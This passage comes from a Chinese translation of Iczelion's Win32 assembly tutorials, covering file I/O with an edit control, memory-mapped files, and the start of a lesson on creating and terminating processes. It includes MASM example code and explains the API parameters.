and eax,0ffffh
invoke MoveWindow,hwndEdit,0,0,eax,edx,TRUE
.ELSEIF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke ReadFile,hFile,pMemory,MEMSIZE-1,ADDR SizeReadWrite,NULL
invoke SendMessage,hwndEdit,WM_SETTEXT,NULL,pMemory
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif
invoke SetFocus,hwndEdit
.elseif ax==IDM_SAVE
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke SendMessage,hwndEdit,WM_GETTEXT,MEMSIZE-1,pMemory
invoke WriteFile,hFile,pMemory,eax,ADDR SizeReadWrite,NULL
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif
invoke SetFocus,hwndEdit
.else
invoke DestroyWindow, hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

分析：

invoke CreateWindowEx,NULL,ADDR EditClass,NULL,\
WS_VISIBLE or WS_CHILD or ES_LEFT or ES_MULTILINE or\
ES_AUTOHSCROLL or ES_AUTOVSCROLL,0,\
0,0,0,hWnd,EditID,\
hInstance,NULL
mov hwndEdit,eax

处理 WM_CREATE消息时，我们创建一个编辑控件。请注意，我们把该控件大小的有关参数都设成0，因为我们稍后将重新设置该编辑控件的大小，使得其覆盖父窗口的整个客户区。
注意：本例中我们没有必要调用ShowWindow来显示编辑控件，因为在创建时在其风格中已设置了WS_VISIBLE标志位，在创建父窗口时也可以使用这个小技巧。

;==============================================
; Initialize the members of OPENFILENAME structure
;==============================================
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE

创建完编辑控件后，我们初始话ofn变量的成员。因为稍后在保存文件时还要使用该结构体变量，所以此处只初始化要用到的公共部分。WM_CREATE 消息的处理部分是进行这种初始化的绝佳之处。

.ELSEIF uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
shr edx,16
and eax,0ffffh
invoke MoveWindow,hwndEdit,0,0,eax,edx,TRUE

当主窗口的客户区部分大小改变时，我们的应用程序将接收到WM_SIZE 消息。当然该窗口第一次显示时，我们也将接收到该消息。要接收到该消息，主窗口必须有CS_VREDRAW和CS_HREDRAW风格。我们应该把缩放编辑控件的动作放到此处。我们要把编辑控件变成和我们的窗口客户区一样大，所以先得要得到父窗口客户区的大小。这些值包含在参数lParam中，lParam的高字部分是客户区的高，底字部分是客户区的宽。然后我们调用MoveWindow函数来重新调整编辑控件的大小，该函数不仅能够移动窗口的位置，而且能够改变窗口的大小。

.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn

当用户选择了File/Open菜单项时，我们填充ofn的其他成员，然后调用GetOpenFileName函数显示一个“打开文件”对话框。

.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax

如果用户选择了一个文件时，我们调用CreateFile函数来打开。我们设置标志位来让该函数的文件能够读写。文件打开后我们把返回的文件句柄保存在一个全局变量中以便以后使用。CreateFile函数应用非常广泛，其原型如下：

CreateFile proto lpFileName:DWORD,\
dwDesiredAccess:DWORD,\
dwShareMode:DWORD,\
lpSecurityAttributes:DWORD,\
dwCreationDistribution:DWORD\,
dwFlagsAndAttributes:DWORD\,
hTemplateFile:DWORD

dwDesiredAccess 指定想要进行的操作。

  • 0 打开文件查询它的属性。
  • GENERIC_READ 打开文件读
  • GENERIC_WRITE 打开文件写.
dwShareMode 指定文件的共享模式。
  • 0 不让其他进程共享，即当您打开该文件后，其他进程欲打开该文件时将失败。
  • FILE_SHARE_READ 允许其他进程读。
  • FILE_SHARE_WRITE 允许其他进程写。

lpSecurityAttributes 该属性在WIN95下无效。
dwCreationDistribution 指定欲生成的文件在其已存在和未存在时应做的动作。

  • CREATE_NEW 生成一个新文件。如果文件已存在则失败。
  • CREATE_ALWAYS 无论文件是否存在都生成一个新文件。
  • OPEN_EXISTING 打开存在的文件。如果文件不存在则失败。
  • OPEN_ALWAYS 打开文件，如果该文件不存在则生成，这和在dwCreationDistribution 中设置 CREATE_NEW标志位一样。
  • TRUNCATE_EXISTING打开文件。打开时该文件的长度裁减到零（也即完全不要原来的文件了）。这要求调用进程必须有GENERIC_WRITE的权利，如果指定的文件不存在，该函数返回失败。

dwFlagsAndAttributes 指定文件的属性。

  • FILE_ATTRIBUTE_ARCHIVE 该文件具有一般的归档文件的属性。用户可以用该标志位来标记文件的删除和备份。
  • FILE_ATTRIBUTE_COMPRESSED 文件或目录是压缩的。对于文件来说是压缩其中的所有数据，而对于目录来说新生成的子目录和文件都要压缩。
  • FILE_ATTRIBUTE_NORMAL 该文件没有一般的属性集。该标志位只能单独使用。
  • FILE_ATTRIBUTE_HIDDEN 该文件是隐藏文件，当浏览一般的文件目录时将不显示它。
  • FILE_ATTRIBUTE_READONLY 该文件是只读文件。应用程序可以读其中的内容，但不可以写。
  • FILE_ATTRIBUTE_SYSTEM 该文件是系统文件。
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax

文件打开后，我们将分配一块内存供随后的API 函数ReadFile 和 WriteFile使用。我们使用标志GMEM_MOVEABLE来使得WINDOWS总是把内存块移到可靠的内存中去，GMEM_ZEROINIT告诉WINDOWS把刚刚分配的内存置为零。如果GlobalAlloc调用成功的话，会在eax中返回内存块的句柄，我们把该句柄传给GlobalLock函数以得到指向内存块的指针。

invoke ReadFile,hFile,pMemory,MEMSIZE-1,ADDR SizeReadWrite,NULL
invoke SendMessage,hwndEdit,WM_SETTEXT,NULL,pMemory

使内存块可用后，我们调用ReadFile函数从文件中读数据。对于第一次打开的文件，文件的指针放在偏移0处，像本例中我们从偏移0处往前读。ReadFile的第一个参数是文件句柄，第二个参数是指向内存块的指针，接下来的参数是要读的数据的长度，第四个参数是一个指向DWORD型的参数的指针，它用来存放实际读的数据的长度。读完了后，我们把这些内容存放到编辑控件中，这要用消息传递来完成，我们把消息WM_SETTEXT传给编辑控件，其中的参数lParam中包含指向内存块的指针。到此处，编辑控件就可以在它的客户区显示文件的内容了。

invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif

我们不再需要让文件打开了，因为我们的目的是把修改后的数据保存到另一个文件而不是先前的那一个文件中去。所以我们可以调用CloseHandle来关闭文件。接下来我们解锁内存块，再释放它。实际上我们可以暂不释放内存块，而在以后的操作中重新利用。我们为了演示的原由，选择了释放它。

invoke SetFocus,hwndEdit

当打开文件对话框显示在屏幕上时，输入的焦点切换到了该对话框上。所以在该对话框关闭后，我们必须把焦点切换到编辑控件上。 现在打开文件的阶段结束了，用户可以编辑他们打开的文件了。当用户想把修改后的内容保存到磁盘上时，必须选择File/Save菜单项，这时会显示一个保存文件对话框。显示保存文件对话框其实和打开打开文件对话框基本一样。您甚至可以认为他们的不同只是函数名称不一样而已。此处可以复用大多数ofn变量先前设置的成员的值。

mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY

本例中我们将生成一个新文件，所以一定不能有 OFN_FILEMUSTEXIST 和 OFN_PATHMUSTEXIST标志位。dwCreationDistribution 参数应当有CREATE_NEW标志位。 接下来的代码和打开问对话框基本一样。最后调用：

invoke SendMessage,hwndEdit,WM_GETTEXT,MEMSIZE-1,pMemory
invoke WriteFile,hFile,pMemory,eax,ADDR SizeReadWrite,NULL

现在我们把修改后的数据从编辑控件中写回内存块，再从内存块写回新文件。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第十三课 内存映射文件

本课中我们将要讲解内存映射文件并且演示如何运用它。您将会发现使用内存映射文件是非常简单的。

理论：

如果您仔细地研究了前一课的例子， 就会发现它有一个严重的缺陷：如果您想读的内容大于系统分配的内存块怎么办？如果您想搜索的字符串刚好超过内存块的边界又该如何处理？对于第一个问题，您也许会说，只要不断地读就不解决了吗。至于第二个问题，您又会说在内存块的边界处做一些特别的处理，譬如放上一些标志位就可以了。原理上确实是行得通，但是这随问题复杂程度加深而显得非常难以处理。其中的第二个问题是有名的边界判断问题，程序中许许多多的错误都是由此引起。想一想，如果我们能够分配一个能够容纳整个文件的大内存块该多好啊，这样这两个问题不都迎刃而解了吗？是的，WIN32的内存映射文件确实允许我们分配一个装得下现实中可能存在的足够大的文件的内存。

利用内存映射文件您可以认为操作系统已经为您把文件全部装入了内存，然后您只要移动文件指针进行读写即可了。这样您甚至不需要调用那些分配、释放内存块和文件输入/输出的API函数，另外您可以把这用作不同的进程之间共享数据的一种办法。运用内存映射文件实际上没有涉及实际的文件操作，它更象为每个进程保留一个看得见的内存空间。至于把内存映射文件当成进程间共享数据的办法来用，则要加倍小心，因为您不得不处理数据的同步问题，否则您的应用程序也许很可能得到过时或错误的数据甚至崩溃。本课中我们将主要讲述内存映射文件，将不涉及进程间的同步。WIN32中的内存映射文件应用非常广泛，譬如：即使是系统的核心模块---PE格式文件装载器也用到了内存映射文件，因为PE格式的文件并不是一次性加载到内存中来的，譬如他它在首次加载时只加载必需加载的部分，而其他部分在用到时再加载，这正好可以利用到内存映射文件的长处。实际中的大多数文件存取都和PE加载器类似，所以您在处理该类问题时也应该充分利用内存映射文件。

内存映射文件本身还是有一些局限性的，譬如一旦您生成了一个内存映射文件，那么您在那个会话期间是不能够改变它的大小的。所以内存映射文件对于只读文件和不会影响其大小的文件操作是非常有用的。当然这并不意味着对于会引起改变其大小的文件操作就一定不能用内存影射文件的方法，您可以事先估计操作后的文件的可能大小，然后生成这么大小一块的内存映射文件，然后文件的长度就可以增长到这么一个大小。 我们的解释够多的了，接下来我们就看看实现的细节：

  1. 调用CreateFile打开您想要映射的文件。
  2. 调用CreateFileMapping，其中要求传入先前CreateFile返回的句柄，该函数生成一个建立在CreateFile函数创建的文件对象基础上的内存映射对象。
  3. 调用MapViewOfFile函数映射整个文件的一个区域或者整个文件到内存。该函数返回指向映射到内存的第一个字节的指针。
  4. 用该指针来读写文件。
  5. 调用UnmapViewOfFile来解除文件映射。
  6. 调用CloseHandle来关闭内存映射文件。注意必须传入内存映射文件的句柄。
  7. 调用CloseHandle来关闭文件。注意必须传入由CreateFile创建的文件的句柄。

例子：

下面的例子允许用户通过“打开文件”对话框来打开一个文件，然后用内存映射文件来打开该文件，如果成功，窗口的标题条会显示打开的文件的名称，您可以通过选择“File/Save”菜单项来把换名保存。该程序将会把打开的文件的内容存到新文件中去。注意，这整个过程您根本就没有用到GlobalAlloc这样的分配内存的函数。

.386
.model flat,stdcall
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_SAVE equ 2
IDM_EXIT equ 3
MAXSIZE equ 260

.data
ClassName db "Win32ASMFileMappingClass",0
AppName db "Win32 ASM File Mapping Example",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
hMapFile HANDLE 0 ; Handle to the memory mapped file, must be
;initialized with 0 because we also use it as
;a flag in WM_DESTROY section too

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hFileRead HANDLE ? ; Handle to the source file
hFileWrite HANDLE ? ; Handle to the output file
hMenu HANDLE ?
pMemory DWORD ? ; pointer to the data in the source file
SizeWritten DWORD ? ; number of bytes actually written by WriteFile

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke GetMenu,hWnd ;Obtain the menu handle
mov hMenu,eax
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
.ELSEIF uMsg==WM_DESTROY
.if hMapFile!=0
call CloseMapFile
.endif
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ ,\
0,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFileRead,eax
invoke CreateFileMapping,hFileRead,NULL,PAGE_READONLY,0,0,NULL
mov hMapFile,eax
mov eax,OFFSET buffer
movzx edx,ofn.nFileOffset
add eax,edx
invoke SetWindowText,hWnd,eax
invoke EnableMenuItem,hMenu,IDM_OPEN,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_ENABLED
.endif
.elseif ax==IDM_SAVE
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFileWrite,eax
invoke MapViewOfFile,hMapFile,FILE_MAP_READ,0,0,0
mov pMemory,eax
invoke GetFileSize,hFileRead,NULL
invoke WriteFile,hFileWrite,pMemory,eax,ADDR SizeWritten,NULL
invoke UnmapViewOfFile,pMemory
call CloseMapFile
invoke CloseHandle,hFileWrite
invoke SetWindowText,hWnd,ADDR AppName
invoke EnableMenuItem,hMenu,IDM_OPEN,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_GRAYED
.endif
.else
invoke DestroyWindow, hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

CloseMapFile PROC
invoke CloseHandle,hMapFile
mov hMapFile,0
invoke CloseHandle,hFileRead
ret
CloseMapFile endp

end start

分析：

invoke CreateFile,ADDR buffer,\
GENERIC_READ ,\
0,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL

当用户选择打开文件时，我们调用CreateFile来打开。注意我们指定GENERIC_READ（一般的读）来表示我们打开的文件只能够读出，把dwShareMode设成0，表示我们不想其他进程在我们操作文件时来存取该文件。

invoke CreateFileMapping,hFileRead,NULL,PAGE_READONLY,0,0,NULL

我们调用CreateFileMapping来在打开的文件的基础上生成内存映射文件。CreateFileMapping的语法如下：

CreateFileMapping proto hFile:DWORD,\
lpFileMappingAttributes:DWORD,\
flProtect:DWORD,\
dwMaximumSizeHigh:DWORD,\
dwMaximumSizeLow:DWORD,\
lpName:DWORD

您应当知道该函数并没有必要把整个文件映射到内存中去，您可以用该函数来只映射文件的一部分。您可以在参数dwMaximumSizeHigh和dwMaximumSizeLow中指定内存映射文件的大小，如果您指定的值大于实际的文件，则实际的文件将增长到指定的大小，如果想要映射的内存大小正好和文件的实际大小相等，则把两个参数中都设成为0。您可以设定lpFileMappingAttributes为NULL，让WINDOWS赋予该内存映射文件于缺省的安全属性。
flProtect定义了内存映射文件的保护属性，我们指定它为PAGE_READONLY来规定该内存映射文件只能够读。注意该属性不能和CreateFile中指定的属性相矛盾，否则就不能生成内存映射文件。
lpName指定内存映射文件的名称，如果您想要该内存映射文件同时可以供其它的进程使用，就必须给它取个名称。不过在我们的例子中，只有我们的进程使用该内存映射文件故我们忽略该参数。

mov eax,OFFSET buffer
movzx edx,ofn.nFileOffset
add eax,edx
invoke SetWindowText,hWnd,eax

如果函数CreateFileMapping调用成功，我们把窗口的标题条换成被打开文件的名称。保存在缓冲区中的文件名是带有路径的全文件名，所以为了只显示文件名我们需要利用OPENFILENAME结构体中的成员nFileOffset的值来找到文件名的起始地址。

invoke EnableMenuItem,hMenu,IDM_OPEN,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_ENABLED

为了避免用户一次性打开多个文件，我们让“打开文件”菜单项呈灰色显示，使得打开文件的菜单项失效。函数EnableMenuItem可以用来改变菜单项的属性。 之后用户可能保存文件或者直接关闭应用程序。如果用户选择关闭应用程序，则事先必须关闭内存映射文件和打开的文件， 代码如下:

.ELSEIF uMsg==WM_DESTROY
.if hMapFile!=0
call CloseMapFile
.endif
invoke PostQuitMessage,NULL

在上面的代码段中，当WINDOWS的消息处理过程接收到WM_DESTROY消息后，它首先检测hMapFile值是否为0。如果不为0则表示相关的文件未关闭，这样就需要调用CloseMapFile来关闭它们。

CloseMapFile PROC
invoke CloseHandle,hMapFile
mov hMapFile,0
invoke CloseHandle,hFileRead
ret
CloseMapFile endp

上述过程调用是用来关闭内存映射文件和原来打开的文件的，这样可以使得程序退出时没有资源泄漏。如果用户选择保存文件的话，就弹出一个“保存文件”对话框，当用户输入了新文件的名称后，我们调用CreateFile函数来创建新文件---输出文件。

invoke MapViewOfFile,hMapFile,FILE_MAP_READ,0,0,0
mov pMemory,eax

在输出文件创建后我们调用MapViewOfFile来映射希望映射到内存中的部分。该函数的语法如下:

MapViewOfFile proto hFileMappingObject:DWORD,\
dwDesiredAccess:DWORD,\
dwFileOffsetHigh:DWORD,\
dwFileOffsetLow:DWORD,\
dwNumberOfBytesToMap:DWORD

dwDesiredAccess用来指定我们想对文件进行的操作。在我们例子中，我们只想读，故指定标志FILE_MAP_READ。
dwFileOffsetHigh 和 dwFileOffsetLow 用来指定打开文件中欲映射的起始偏移位置。我们的例子中想映射整个的文件，故指定它们的值为0。
dwNumberOfBytesToMap 用来指定欲映射的字节数，如果想映射整个的文件，设定该值为0。
调用MapViewOfFile后，我们希望的部分就已经映射到内存中去了。您将得到一个指向起始内存块的指针。

invoke GetFileSize,hFileRead,NULL

调用该函数可以得到文件的大小，其值通过eax传送，如果文件的长度超过4G，那么文件长度DWORD的高值部分（也即超过4G的部分）保存在FileSizeHighWord中。因为我们估计一般的文件将没有这么大，故忽略该值。

invoke WriteFile,hFileWrite,pMemory,eax,ADDR SizeWritten,NULL

把内存映射文件中的数据写到输出文件中去。

invoke UnmapViewOfFile,pMemory

写完后，我们解除映射。

call CloseMapFile
invoke CloseHandle,hFileWrite

关闭内存映射文件和输出文件的句柄。

invoke SetWindowText,hWnd,ADDR AppName

恢复窗口的标题条到应用程序的名称。

invoke EnableMenuItem,hMenu,IDM_OPEN,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_SAVE,MF_GRAYED

恢复“打开文件”和“保存文件”菜单项使的可以重新开始新的打开、编辑和保存循环。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第十四课 进程

本课中我们将学习：什么是进程？如何产生和终止一个进程？

初步知识：

进程是什么？下面是我从WIN32 API指南中节选的解释：
“一个进程是一个正在执行的应用程序，它包含有：私有的虚拟地址空间、代码、数据和其它的操作系统资源，譬如进程可以存取的管道、文件和同步对象等等。”

从上面的定义中您可以看到，一个进程拥有几个对象：地址空间、执行模块和其它该执行程序打开或创建的任何对象或资源。至少，一个进程必须包含可执行模块、私有的地址空间和一个以上的线程。什么是线程呢？一个线程实际上是一个执行单元。当WINDOWS产生一个进程时，它自动为该进程产生一个主线程。该线程通常从模块的第一条指令处开始执行。如果进程需要更多的线程，它可以随后显式地产生。
当WINDWOS 接收到产生进程的消息时，它会为进程生成私有内存地址空间，接着把可执行文件映射到该空间。在WIN32下为进程产生了主进程后，您还可以调用函数CreateProcess来为您的进程产生更多的线程。

CreateProcess的原型如下：

CreateProcess proto lpApplicationName:DWORD,\
lpCommandLine:DWORD,\
lpProcessAttributes:DWORD,\
lpThreadAttributes:DWORD,\
bInheritHandles:DWORD,\
dwCreationFlags:DWORD,\
lpEnvironment:DWORD,\
lpCurrentDirectory:DWORD,\
lpStartupInfo:DWORD,\
lpProcessInformation:DWORD

不要被这么多的参数吓倒，其实您可以忽略其中的大多数的参数（让它们有缺省值）。

lpApplicationName --> 可执行文件的名称（含或不含路径）。如果该参数为NULL，那必须在参数lpCommandLine中传递文件名称。
lpCommandLine --> 传递给欲执行的文件的命令行参数。如果lpApplicationName为NULL，那必须在该参数中指定，譬如："notepad.exe readme.txt" 。
lpProcessAttributes 和 lpthreadAttributes --> 指定进程和主线程的安全属性。您可以把它们都设成为NULL，这样就设置了缺省的安全属性。
bInheritHandles --> 标志位。用来设置新进程是否继承创建进程所有的打开句柄。
dwCreationFlags --> 有几个标志可以在此处设置以决定欲创建进程的行为，譬如：您可能想创建进程后并不想让它立刻运行，这样在它真正运行前可以作一些检查和修改工作。您还可以在此处设置新进程中的所有线程的优先级，通常我们把它设置为NORMAL_PRIORITY_CLASS。
lpEnvironment --> 指向环境块的指针，一般地环境块包含几个环境字符串。如果该参数为NULL，那么新进程继承创建进程的环境块。
lpCurrentDirectory --> 指向当前目录以及为子进程设置的“当前目录”的路径。如果为NULL， 则继承创建进程的“当前目录”路径。
lpStartupInfo --> 指向新进程的启动结构体STARTUPINFO的指针。STARTUPINFO告诉WINDOWS如何显示新进程的外观。该参数有许多的成员变量，如果您不想新进程有什么的特别之处，可以调用GetStartupInfo函数来用创建进程的启动参数来填充STARTUPINFO结构体变量。
lpProcessInformation --> 指向结构体PROCESS_INFORMATION的指针，该结构体变量包含了一些标识该进程唯一性的一些成员变量：

PROCESS_INFORMATION STRUCT
hProcess HANDLE ? ; handle to the child process
hThread HANDLE ? ; handle to the primary thread of the child process
dwProcessId DWORD ? ; ID of the child process
dwThreadId DWORD ? ; ID of the primary thread of the child process
PROCESS_INFORMATION ENDS

进程句柄和进程ID是两个不同的概念。进程ID好似一个唯一值，而进程句柄是调用相关的WINDOWS API 后得到的一个返回值。不能用进程句柄来标识一个进程的唯一性，因为这个值并不唯一。在调用CreateProcess产生新进程后，该进程就被创建，而且CerateProcess函数立即返回。您可以调用函数GetExitCodeProcess来检验进程是否结束。该函数的原型如下：

GetExitCodeProcess proto hProcess:DWORD, lpExitCode:DWORD

如果调用成功，lpExitCode中包含了所查询进程的状态码。如果等于STILL_ACTIVE就表明该进程依旧存在。 您可以调用函数TerminateProcess来强制终止一个进程。该函数的原型如下：

TerminateProcess proto hProcess:DWORD, uExitCode:DWORD

您可以指定任意一个退出值。用该函数结束一个进程并不好，因为该进程加载的动态连接库并不会得到进程正退出的消息。

例子：

在下面的例子中，当用户选择菜单项“crate process”时我们创建一个新进程。它会去执行“"msgbox.exe”。如果用户想要终止新进程，可以选择菜单项“terminate process”。这时，应用程序检查欲终止的进程是否仍存在，若存在则调用TerminateProcess函数来终止它。

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.const
IDM_CREATE_PROCESS equ 1
IDM_TERMINATE equ 2
IDM_EXIT equ 3

.data
ClassName db "Win32ASMProcessClass",0
AppName db "Win32 ASM Process Example",0
MenuName db "FirstMenu",0
processInfo PROCESS_INFORMATION <>
programname db "msgbox.exe",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HANDLE ?
ExitCode DWORD ? ; contains the process exitcode status from GetExitCodeProcess call.

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
invoke GetMenu,hwnd
mov hMenu,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL startInfo:STARTUPINFO
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_INITMENUPOPUP
invoke GetExitCodeProcess,processInfo.hProcess,ADDR ExitCode
.if eax==TRUE
.if ExitCode==STILL_ACTIVE
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_GRAYED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_ENABLED
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.else
invoke EnableMenuItem,hMenu,IDM_CREATE_PROCESS,MF_ENABLED
invoke EnableMenuItem,hMenu,IDM_TERMINATE,MF_GRAYED
.endif
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_CREATE_PROCESS
.if processInfo.hProcess!=0
invoke CloseHandle,processInfo.hProcess
mov processInfo.hProcess,0
.endif
invoke GetStartupInfo,ADDR startInfo
invoke CreateProcess,ADDR programname,NULL,NULL,NULL,FALSE,\
